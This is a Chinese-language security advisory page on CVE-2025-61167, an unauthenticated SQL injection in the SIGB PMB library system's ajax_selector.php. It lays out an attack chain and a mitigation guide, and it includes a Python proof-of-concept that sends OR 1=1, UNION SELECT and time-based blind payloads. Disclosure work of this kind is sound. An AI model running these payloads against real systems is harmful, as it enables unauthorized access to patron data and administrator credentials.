IPBUF安全漏洞报告
English
CVE-2025-61167 CVSS 6.5 中危

CVE-2025-61167 SIGB PMB ajax_selector.php SQL注入漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-61167
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SIGB PMB

相关标签

SQL注入SIGB PMBCVE-2025-61167ajax_selector.php无认证利用图书馆管理系统中等严重性网络攻击向量

漏洞概述

CVE-2025-61167是SIGB PMB图书馆管理系统中的一个中等严重性安全漏洞。该漏洞存在于PMB v8.0.1.14版本的/opac_css/ajax_selector.php组件中,攻击者可以通过id和datas参数注入恶意SQL语句。由于该漏洞的利用无需认证,远程攻击者可以直接通过HTTP请求利用此漏洞获取数据库中的敏感信息,包括用户凭据、图书馆藏书数据、会员信息等。CVSS评分6.5属于中等严重程度,主要影响系统的机密性和完整性。SIGB PMB是一款广泛应用于图书馆和文献机构的管理系统,因此该漏洞可能影响大量图书馆的日常运营和数据安全。攻击者利用此漏洞可实现未授权数据库访问,进一步可能导致数据泄露或系统完全沦陷。

技术细节

该SQL注入漏洞位于SIGB PMB的/opac_css/ajax_selector.php文件中,攻击者可通过以下两个参数进行注入:1) id参数:攻击者构造恶意SQL语句通过URL参数传递,如id=1' OR '1'='1等经典SQL注入payload;2) datas参数:同样可注入恶意SQL代码。该组件在处理用户输入时未对id和datas参数进行充分的输入验证和SQL语句预编译,导致用户输入被直接拼接到SQL查询中。攻击者可通过UNION SELECT、布尔盲注或时间盲注等技术提取数据库内容。由于无需认证即可利用,攻击者可通过自动化工具批量扫描和利用此漏洞。成功利用后可读取数据库中的用户表、权限表、藏书目录等敏感数据。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标图书馆网站使用的SIGB PMB系统版本,确认是否为v8.0.1.14或更早版本
STEP 2
步骤2
漏洞定位:访问/opac_css/ajax_selector.php端点,识别id和datas参数的存在
STEP 3
步骤3
SQL注入测试:使用经典SQL注入payload(如单引号、UNION SELECT)测试参数是否未经过滤
STEP 4
步骤4
数据提取:利用UNION注入或盲注技术提取数据库中的敏感信息,包括用户表、藏书数据等
STEP 5
步骤5
权限提升:通过获取的管理员凭据登录后台管理系统,进一步控制整个系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-61167 SQL Injection PoC # Target: SIGB PMB v8.0.1.14 # Endpoint: /opac_css/ajax_selector.php def exploit_sql_injection(target_url, param_name): # Basic SQL injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' OR 1=1 LIMIT 1--" ] for payload in payloads: params = {param_name: payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_database_info(target_url): # Blind SQL injection to extract database version payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END)--" params = {"id": payload, "datas": "test"} try: response = requests.get(target_url, params=params, timeout=15) if response.elapsed.total_seconds() > 2: print("[+] Blind SQL injection confirmed!") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61167.py <target_url>") print("Example: python cve-2025-61167.py http://target.com/opac_css/ajax_selector.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-61167 on {target}") exploit_sql_injection(target, "id") exploit_sql_injection(target, "datas") extract_database_info(target)

影响范围

SIGB PMB v8.0.1.14

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含SQL注入特征的请求(如单引号、UNION、SELECT等关键字);2) 限制/opac_css/ajax_selector.php的访问权限,临时关闭该功能;3) 在应用层添加输入过滤中间件,对所有用户输入进行SQL关键字过滤;4) 启用数据库访问日志监控,及时发现异常查询行为。建议在缓解措施实施后尽快完成系统升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表